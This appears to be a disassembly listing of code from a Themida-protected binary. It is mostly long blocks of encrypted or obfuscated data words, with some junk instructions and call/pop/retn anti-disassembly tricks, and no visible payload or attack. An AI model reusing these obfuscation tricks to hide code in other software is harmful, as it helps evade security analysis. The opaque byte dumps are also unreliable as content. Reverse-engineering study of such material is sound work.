		dd 60E2F81h, 115E9h, 0FE900h, 5AB50000h, 0D28146A2h, 4BE24048h
		dd 34FE8419h, 0E900B0C4h, 12h, 4FA22D29h, 3D731DD6h, 29CF1DFAh
		dd 0BA6FDBBFh, 8B52585Fh, 70E65FFEh, 68E0Fh, 0B5890000h
		dd 60E144Dh, 0FE8B71E4h, 830F613Ch, 0CAh, 5E9h,	0AC250400h
		dd 0B60FA17Bh, 0E951F9C8h, 0Bh,	486C7DC2h, 7243AA2Ah, 5B21AB47h
		dd 6BAh, 0E5BD8900h, 8B060E13h,	759D01C1h, 0C1060E04h
		dd 0F76604E8h, 9D8B60E2h, 60E0F91h, 5FD78166h, 0C82B61E3h
		dd 0D18BD88Ah, 0E381DE8Bh, 63BA2A61h, 71E9h, 8B38B300h
		dd 5F4C4C85h, 0C083F850h, 0EE907h, 92D10000h, 723DBB51h
		dd 4F219F1h, 0CDBE742Fh, 3B00C083h, 14830FD0h, 0F000000h
		dd 3FE9FEB7h, 29000000h, 0E220D8Dh, 0D9D0906h, 8B060E01h
		dd 0FFFFFF8Dh, 0FDBD8BFFh, 83060E1Dh, 840F01E1h, 1Eh, 53CFBF66h
		dd 0FFFFA583h, 8BFEFFFFh, 4C9589FBh, 23505F4Ch,	0E2F91BDh
		dd 0E906h, 0B58D0000h, 612A9CBh, 6ADF8B66h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 2AD04842h, 9E8A9C2h,	0C9000000h, 0F2D875BBh,	30983BCDh
		dd 17E19D33h, 665B060Eh, 0FFCCEEBBh, 0E0F4595h,	9D8B5006h
		dd 60E1F61h, 0FA3B95Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 8101A9C3h, 85292AFBh
		dd 60E1B7Dh, 6AFCE183h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0B818C352h,	0B9943CF3h
		dd 0BB66917Dh, 6AFC5723h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 153CC356h, 6064D95Eh
		dd 950115B1h, 60E1A0Dh,	779FBF61h, 0C02B4848h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 38C35646h, 0C2F6F9B4h
		dd 0EB8166FDh, 0D22B0F83h, 2E3D9D8Bh, 33AD060Eh, 3E8D1C2h
		dd 4E983D0h, 8166F475h,	6A4ABBD7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 420C350h
		dd 0F9FB8BE5h, 880Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8166148Fh, 8AC2CECBh
		dd 0C5958BD9h, 6A060E2Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0F5DDC355h,	0D781661Bh
		dd 8D8B48A3h, 60E0881h,	50FE8B66h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0FB41683Dh
		dd 858901EAh, 60E1891h,	47DBD8Bh, 0BD83060Eh, 60E0C6Dh
		dd 66840F00h, 33000000h, 0E1909BDh, 60605206h, 0C68B6661h
		dd 0B85F61h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0A92FC356h,	0B55F0D68h
		dd 8D8D2EBDh, 60E4DD1h,	1B890Fh, 0E9560000h, 14h, 0BCF3387Ah
		dd 8AF10547h, 7F76BAF4h, 8905CF29h, 828D5252h, 8BE1FF5Bh
		dd 0E3381BDh, 0D9BD8306h, 60E28h, 48A840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0D85BD1C3h, 68A0Fh, 0BD8B0000h, 60E2025h, 28D9BD83h
		dd 0F01060Eh, 46E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 517A4EEEh, 83A68553h
		dd 0E28D9BDh, 860F0306h, 409h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 20C35141h, 6A60FCF9h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0B11CC356h, 5D9D8BBAh, 66060E17h, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 294055C3h
		dd 0CB81663Ah, 0E180ACD6h, 0B70F6004h, 0D78B66F2h, 0FC90A61h
		dd 13684h, 1890F00h, 0F9000000h, 8BD98B66h, 0E17F985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0C5BD8B18h, 89060E34h, 0E1F4185h, 1D853306h
		dd 6A060E1Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 8A51C353h, 0C936E454h,	8564C305h
		dd 65B53152h, 5F060E1Fh, 77BF6650h, 2404890Dh, 6A87D380h
		dd 2DBD8B00h, 0E9060E1Dh, 14h, 26155461h, 7D13D067h, 7A9F9D73h
		dd 3B24C108h, 0F46EECD1h, 3C359168h, 0FE8B6661h, 6E243481h
		dd 6A612336h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0DD8FC351h, 52FB89BCh,	0D595FF7Ch
		dd 51060E0Eh, 85895FF5h, 611A07Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0BC35646h, 8B107583h, 0E0F499Dh
		dd 1BD8906h, 0E9060E30h, 20Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 16C35343h, 0EF93AC5Dh, 311DA093h
		dd 0E09D1BDh, 0FBD78106h, 8B5251B5h, 11A07385h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D29F861h, 60E1AC5h,	0BE1BD8Bh, 0C7060Eh, 18h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C4C35040h, 2AB86936h
		dd 0BD8BF57Ah, 60E02B1h, 0A077B58Bh, 0DC8A0611h, 1435858Bh
		dd 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0A033B9C3h, 0BD8B0689h, 60E2081h,	0AE9h
		dd 0E6271B00h, 80124FBEh, 8BCC5CB7h, 0E17F985h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 6697FE39h, 8C83D381h, 6A044689h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D3C7C352h
		dd 5655A870h, 8166605Bh, 8BCBAAEAh, 0E31ED85h, 8B966106h
		dd 0BB6650FBh, 6A966389h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 1596C352h, 30BD330h
		dd 0CE9C884h, 9B000000h, 96711B1Fh, 78D93A77h, 8963EF23h
		dd 0E18858Dh, 73B5FF06h, 8B0611A0h, 0E0FBDBDh, 0A8DD6806h
		dd 0BF667BF3h, 34816EAAh, 0ECAB2224h, 55006A7Bh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 7AE807F8h, 21AD642Bh, 858D6851h, 611A07Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 14C35040h, 0A919BF66h
		dd 89DF8B50h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 82AD57C3h, 0B37F40DBh, 0FFDF8B66h
		dd 0E0ED595h, 0FD9D8B06h, 61060E12h, 11E9h, 0F295E100h
		dd 0F0116048h, 5EA9CDE8h, 77E4C385h, 85C792A8h,	60E28D9h
		dd 3, 0C3A9BB66h, 0A07BBD83h, 0F000611h, 4884h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 962E8690h, 0DBBB4486h, 0E9186377h, 38h, 12E9h, 0E5CB4F00h
		dd 3B0884C3h, 835E7F35h, 6ADED69Eh
		dd 9D89347h, 0E243595h,	0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 26C35141h, 17D19509h,	6A060Eh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 7E67D4C3h, 0A84729E7h, 0D9BD83C2h, 3060E28h,	48F850Fh
		dd 0CB800000h, 7BBD8303h, 611A0h, 47F840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0DD0846C3h, 31123B4Fh, 0E18A59Dh, 8E906h, 12D20000h
		dd 380BEA25h, 0B5FF043Ah, 611A07Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 1BC35242h, 0CA63D6EDh, 891F3AB5h
		dd 0E214195h, 0D595FF06h, 6A060E08h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89DFC351h
		dd 0E2FF19Dh, 6FB58B06h, 8B0611A0h, 0E2C699Dh, 106C706h
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0E127C356h, 56EB8FFEh,	45BD8B92h
		dd 96060E0Eh, 8E86056h,	48000000h, 69D12E9Bh, 5B3EDDB1h
		dd 870Fh, 5F610000h, 41B76050h,	13E860h, 62440000h, 1DA7F198h
		dd 0D61C29DAh, 8D38449Ch, 8720FFE0h, 42B6584Eh,	0B7966161h
		dd 7BB5FF68h, 6A0611A0h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 84E1C355h, 48B0Fh
		dd 0BB660000h, 95FFCA42h, 60E1019h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 50C35040h, 0BB4F3200h, 211D9C0Ch
		dd 0D214C781h, 0B58B6029h, 611A06Fh, 17799D23h,	858B060Eh
		dd 60E00A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	7AC35242h, 5647B9BFh, 1BD8920h,	89060E2Fh, 0C486h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0B81B1E5h, 0E950DE09h, 11h, 423245E6h, 0DEB41713h
		dd 0F2DEEE78h, 0ABB45283h, 8B665F1Ch, 0C5958BFEh, 81060E2Fh
		dd 0EB978BF7h, 4C2830Ah, 48DBD29h, 5089060Eh, 8D51B720h
		dd 11B41C85h, 97EF8006h, 0B88689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0A6545CC3h
		dd 0BBC6AB36h, 663C61D1h, 0B5FF006Ah, 611A07Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6BC35242h, 606937DAh
		dd 0F659531h, 11E8060Eh, 0DE000000h, 0B995610h,	9C129301h
		dd 9DF08CA0h, 50E5468Eh, 615EDA8Bh, 1E4995FFh, 0BD89060Eh
		dd 60E0471h, 12E996h, 0B630000h, 8929A1F3h, 7F1B1DEEh
		dd 0F6E6924h, 2F4736AAh, 10E850h, 66710000h, 0DC3FF262h
		dd 9638A766h, 163B9318h, 5250D37Bh, 8E90A0BFh, 66310F66h
		dd 585AD88Bh, 6A965Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0D5F790C3h, 54B73451h, 0A07BB5FFh
		dd 6A0611h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0BFE047C3h, 4DEAB57Bh, 0BE9h, 30BB0E00h
		dd 8CCCA319h, 997AC67Ch, 16D195FFh, 6A060Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 2FA7A3C3h
		dd 0BD830CF1h, 60E30D5h, 3A840F00h, 0E9000000h,	0Fh, 2B9A2CCFh
		dd 88B99944h, 46BB64E9h, 966687C8h, 1ABF6651h, 66505FFCh
		dd 96DA6EBFh, 0E281EFBBh, 0FE921h, 0A8B10000h, 0ED11271Ch
		dd 0C35E3F64h, 7739C177h, 7BB5FF67h, 6A0611A0h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 5C2BC350h, 95FFF5E0h, 60E2981h, 7BB5FFF5h, 6A0611A0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 6C76C351h, 0C22C17FBh, 860F50h, 5B000000h
		dd 1ABD95FFh, 6652060Eh, 835BD88Bh, 0E29D5BDh, 840F0206h
		dd 7Ah,	0FE9h, 77191C00h, 67AF1647h, 0D0BFF893h, 0A76ABEDBh
		dd 7D1858Bh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 137FE0C3h, 6B85F622h, 0F28160C6h
		dd 70D4C722h, 5463E081h, 0C6614F55h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 600885C3h
		dd 6175BF66h, 0BB616060h, 1E89608Ah, 85C76161h,	60E3515h
		dd 0
; ---------------------------------------------------------------------------
		adc	bx, 0C42Dh
		jmp	loc_59C10C
; ---------------------------------------------------------------------------
		push	ecx
		jl	loc_59CE81
		jmp	loc_59CE81
; ---------------------------------------------------------------------------
		div	byte ptr [ebp-4Bh]
		fucomi	st, st(5)
		xchg	eax, esi
		sti


loc_59CE81:				; CODE XREF: Themida_:0059CE6Fj
					; Themida_:0059CE75j
		pop	ebx
		mov	eax, ecx
		mov	[ebp+60E1DADh],	eax
		lea	eax, [ebp+60E19C1h]
		push	0
		push	edx
		call	sub_59CE9B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59CE9B	proc near		; CODE XREF: Themida_:0059CE93p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_59CE9B	endp

; ---------------------------------------------------------------------------
		db 0E5h
		dd 35181885h, 97D1CBEh,	0E0F5195h, 52505006h, 5E6CBB66h
		dd 8B66310Fh, 89585AF8h, 85892404h, 60E2211h, 0BD8B006Ah
		dd 60E28F5h, 2141BD8Bh,	6A060Eh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0C8C35545h,	13E9646Dh, 23000000h
		dd 0DE8FABE5h, 0FF65C21h, 624F0E42h, 0F62FD681h, 8B0FB068h
		dd 6, 33C58D89h, 858D060Eh, 6133ABCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B7C35141h,	20E5D647h, 0AF54332Dh
		dd 89EF8135h, 665F08B6h, 831DE7BBh, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 526ED8C3h
		dd 15BD8Bh, 505B060Eh, 0FA8B5250h, 5250310Fh, 7E8310Fh
		dd 4C000000h, 16831653h, 5A5B42F3h, 89585A58h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 967C3CC3h, 0F5AD6054h, 0D781006Ah, 337B4F93h, 0BF66006Ah
		dd 95FF983Eh, 60E2FE1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 7CC35545h, 8949E44Dh,	0E34D98Dh, 4B8D8D06h
		dd 6A061192h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 727C356h, 0FFC38C61h, 57006AD1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 8A783A34h, 79BD8385h, 1060E0Dh, 6A850Fh, 6AF90000h
		dd 55006A02h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8B66C18Ch, 8B6090F8h, 0E95250FAh, 0Ah, 0F28C3A70h
		dd 0A8EF8239h, 310F943Ah, 585AFB8Bh, 0FF905061h, 0E1E4995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8589DDD9h, 60E0FDDh, 0DD3E9h, 0E800h, 815D0000h
		dd 133AC6EDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 180C7226h, 0B698839h, 0E31A5BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 918D890Bh, 8D060E1Fh, 11840585h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 14E950E4h, 67000000h, 0E68C8EC3h, 5F41E4C5h,	0D5A99299h
		dd 7E9C5013h, 89644A4Eh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0F5A9F2C3h, 0B50E34Fh
		dd 0E0AB99Dh, 0FF645B06h, 35h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 28155EB9h
		dd 6E8EF50Eh, 0CE99166h, 13000000h, 0AAE45CAh, 35B5472Ch
		dd 31269AC9h, 0E20598Dh, 25896406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_59D1CF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D1CF	proc near		; CODE XREF: Themida_:0059D1C7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_59D1CF	endp

; ---------------------------------------------------------------------------
		db 0D2h
		dd 0EA7A7137h, 0FF33C780h, 0E147585h, 3DBD8B06h, 6A060E0Fh
		dd 218589FFh, 0FF060E09h, 0E1889B5h, 0BF666006h, 9D2351CBh
		dd 60E30C1h, 6DBB6661h,	8195FFF1h, 0E9060E2Fh, 123h, 0E399D29h
		dd 0B0060Eh, 28D0Fh, 0FB8B0000h, 958970E6h, 60E2EC1h, 958971E4h
		dd 60E1F49h, 830F613Ch,	0FBh, 64BEBF66h, 66C8B60Fh, 0D52AE381h
		dd 6BAh, 6880F00h, 89000000h, 0E077595h, 0E9C18B06h, 0Dh
		dd 6D85E878h, 3E0423DFh, 0E75DB30Eh, 4E8C19Eh, 2505BD8Bh
		dd 0F766060Eh, 0E4C381E2h, 2B475B6Fh, 0B98589C8h, 8B060E33h
		dd 14E9D1h, 3F9C0000h, 22B40BC6h, 3D4ED41h, 58AB009Fh
		dd 0C49033A9h, 90E9D19Eh, 60000000h, 8D29D78Bh,	60E137Dh
		dd 4C858B61h, 0F5494755h, 6607C083h, 9F16DB81h,	0E800C083h
		dd 10h,	1A2861CBh, 184E9C00h, 0D87E9E9Bh, 0F0A57E35h, 14F38166h
		dd 0D03B5F75h, 22830Fh,	0D7810000h, 43BE9E85h, 7E856h
		dd 0F2C0000h, 7A8CA218h, 5F6160C7h, 35E95Fh, 0E7810000h
		dd 4D87A50Dh, 0FFFF8D8Bh, 0BF0FFFFFh, 1E183D8h,	1D840Fh
		dd 0B5890000h, 60E231Dh, 0FFFFA583h, 0FFEFFFFh,	9589FBBFh
		dd 4947554Ch, 0E9F88Bh,	8D000000h, 12B96EB5h, 6A5F5106h
		dd 1D850100h, 0FF060E03h, 0E0F4595h, 0BD89F906h, 60E2299h
		dd 0F04B9h, 0BD0B6000h,	60E2FB1h, 0A719D8Bh, 8361060Eh
		dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0D440FC3h, 0CF0C5783h, 0AA07D381h, 95894716h
		dd 60E238Dh, 51006AFCh,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 128D62A3h, 0FC4420C6h, 6F8EA4BBh
		dd 1D9D8B72h, 2B060E0Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 2797554Ch, 0C5BD89E2h
		dd 8B060E1Ch, 0E0459BDh, 0FD22B06h, 82h, 0C233AD00h, 0D003E8D1h
		dd 7504E983h, 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0D8D894Bh, 53060E35h, 2D958B60h
		dd 9060E20h, 0E1FED8Dh,	0D5B6106h, 88h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 0D8C35646h, 999D8BF4h
		dd 0E9060E13h, 13h, 40360DC9h, 0D8494200h, 0DF27AA16h
		dd 58DC79FDh, 8B896A00h, 0E2FC595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0D88BAFB1h
		dd 8818D8Bh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0C695DDC3h, 0DE906A1h, 0B8000000h
		dd 3645A253h, 39227C88h, 5ABF2252h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0F88A5818h, 0DE9h, 51640F00h
		dd 141D9115h, 2608290Eh, 9D33D93Ch, 60E1409h, 0C6DBD83h
		dd 0F00060Eh, 6484h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 859448E6h, 0A1962311h
		dd 5549BB66h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 1363D5B9h, 0EA76FF86h
		dd 95BD8B7Eh, 8D060E34h, 0E4DD18Dh, 2BF6606h, 8BE1FFBEh
		dd 0D9BD83FEh, 60E28h, 46C840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2E5CF9C3h
		dd 0C005740Ch, 0FA98D89h, 0BD83060Eh, 60E28D9h,	52840F01h
		dd 0E9000004h, 8, 0CF5C2823h, 49F7B41Eh, 28D9BD83h, 0F03060Eh
		dd 40286h, 4800F00h, 66000000h,	3167D3BBh, 0E30F9B5h, 6A6006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0DBB6F9C3h, 0F8D98C66h, 6E8h, 9AD5C600h, 665AA0DAh
		dd 2321E381h, 4E1805Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0F5C35545h, 2A17197Ch, 7AA7485Fh, 840FC90Ah
		dd 14Bh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 16h,	0EAC35040h, 81665D28h, 8B8A94CBh, 0E17F985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 490B4118h, 0F2588E37h, 1BD8B4Dh, 33060E30h, 0E1D1D85h
		dd 0BD296006h, 60E0DE5h, 52505061h, 0C0A8BF66h,	5060310Fh
		dd 5A310F52h, 61D68B58h, 489585Ah, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0EB3DEA7Fh
		dd 5229E8ECh, 6AA7B2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 7DC35040h, 27265515h,	0B99D8B4Bh, 68060E1Ah
		dd 55354EEEh, 9D2DBB66h, 11243481h, 6A552A4Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 362EC357h, 0FF114D23h, 0E0ED595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 591BC754h
		dd 0B1AF10CDh, 0BD8B1BABh, 60E29EDh, 0A07B8589h, 8C0F0611h
		dd 6, 24758501h, 0BEE9060Eh, 0F000001h,	68Ah, 5BD8900h
		dd 8B060E1Fh, 11A07385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 2E3588B5h, 0A377C54Bh
		dd 81BD8992h, 0E8060E1Bh, 0Ch, 0D7327812h, 6DE9F353h, 0B4C5B6FBh
		dd 0B6A593BBh, 0C75F10h, 18h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 21C35040h, 8B21359Dh, 11A077B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0FD8E82BEh, 888F8592h, 858BFEEFh, 60E1435h
		dd 8E9h, 3B97D900h, 0E06A111Ah,	0BB068932h, 0B64E0FAh
		dd 17F9858Bh, 0CDBB060Eh, 89098D0Fh, 8D290446h,	60E0789h
		dd 0F1BB6696h, 0F4B35039h, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F80869E6h
		dd 0A073B5FFh, 6A0611h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 68D47AC3h, 566295B9h, 7E8h, 20688600h
		dd 7811B8D6h, 61605250h, 0C5BF310Fh, 5A28E075h,	34815F58h
		dd 7D964624h, 8CC38156h, 8D3A8064h, 11A07B85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 21CB5B5Ah, 62E9DEC7h, 0F5BD090Bh, 0E8060E34h, 6, 17AE88C8h
		dd 0B70F8F69h, 0E9505FD8h, 14h,	2453BA7Bh, 9A1520FDh, 79899Ah
		dd 0A8993585h, 1BDE69B4h, 0E9240489h, 9, 0B6E83361h, 0E48CF4C4h
		dd 0D595FFEEh, 81060E0Eh, 0E99417DFh, 6A613Fh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8531FCC3h, 60E1361h,	85C7D88Ah, 60E28D9h, 3,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 63C35242h, 8D896C8Eh
		dd 60E08FDh, 0A07BBD83h, 0F000611h, 3284h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0C61873E2h, 0BF0F798Eh, 1CFE80FEh, 21E9h, 0E19D8B00h
		dd 50060E30h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 8B56C08Bh
		dd 0E0341BDh, 0DC8A5B06h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 47C35141h, 0B36144B3h, 3A04BF66h, 2EA1BD8Bh
		dd 31B3060Eh, 28D9BD83h, 0F03060Eh, 3E685h, 658D3100h
		dd 66060E2Dh, 0BD83FA8Bh, 611A07Bh, 0D0840F00h,	0F000003h
		dd 0B5FFDEB7h, 611A07Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0FC35141h, 31D9C54Dh,	10A357Ch, 1D9D8B9Ch
		dd 89060E0Ch, 0E32E5B5h, 0D595FF06h, 0F060E08h,	1884h
		dd 13E900h, 3DB30000h, 6F605BAh, 9622F376h, 0BA55D1E2h
		dd 0F3213FEDh, 6FB58B57h, 6A0611A0h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 81B1C357h
		dd 106C7h, 9E80001h, 52000000h,	6B79A2FFh, 0BB8B4C7Ah
		dd 5E9h, 2FB1EB00h, 505FCE5Bh, 89D88B66h, 0BD8B2434h, 60E02F1h
		dd 7D852360h, 29060E2Ch, 0E1AED95h, 0B5FF6106h,	611A07Bh
		dd 4FB6D381h, 95FF38AAh, 60E1019h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 3FC35343h, 1DB501E5h, 89060E00h
		dd 0E30E18Dh, 6FB58B06h, 890611A0h, 0E0CD99Dh, 5B50106h
		dd 8B060E08h, 0E00A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 2A2BE079h, 0E77BFAABh
		dd 9D0B0EDCh, 60E17A1h,	0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0B53D64C3h
		dd 9504693h, 59BD8BE5h,	52060E0Dh, 0C5958B5Fh, 0F060E2Fh
		dd 0C283D8BFh, 0A19D8B04h, 89060E29h, 9D092050h, 60E17EDh
		dd 0EE9h, 96DDD900h, 0F41E8FEBh, 62B2C6Eh, 8D54E891h, 11B41C85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 953135A5h, 60E0F51h, 0B88689h, 9D230000h
		dd 60E13A5h, 0BF66006Ah, 0B5FF1D7Bh, 611A07Bh, 0B3D78166h
		dd 4995FF85h, 6A060E1Eh, 3E85000h, 20000000h, 8958C358h
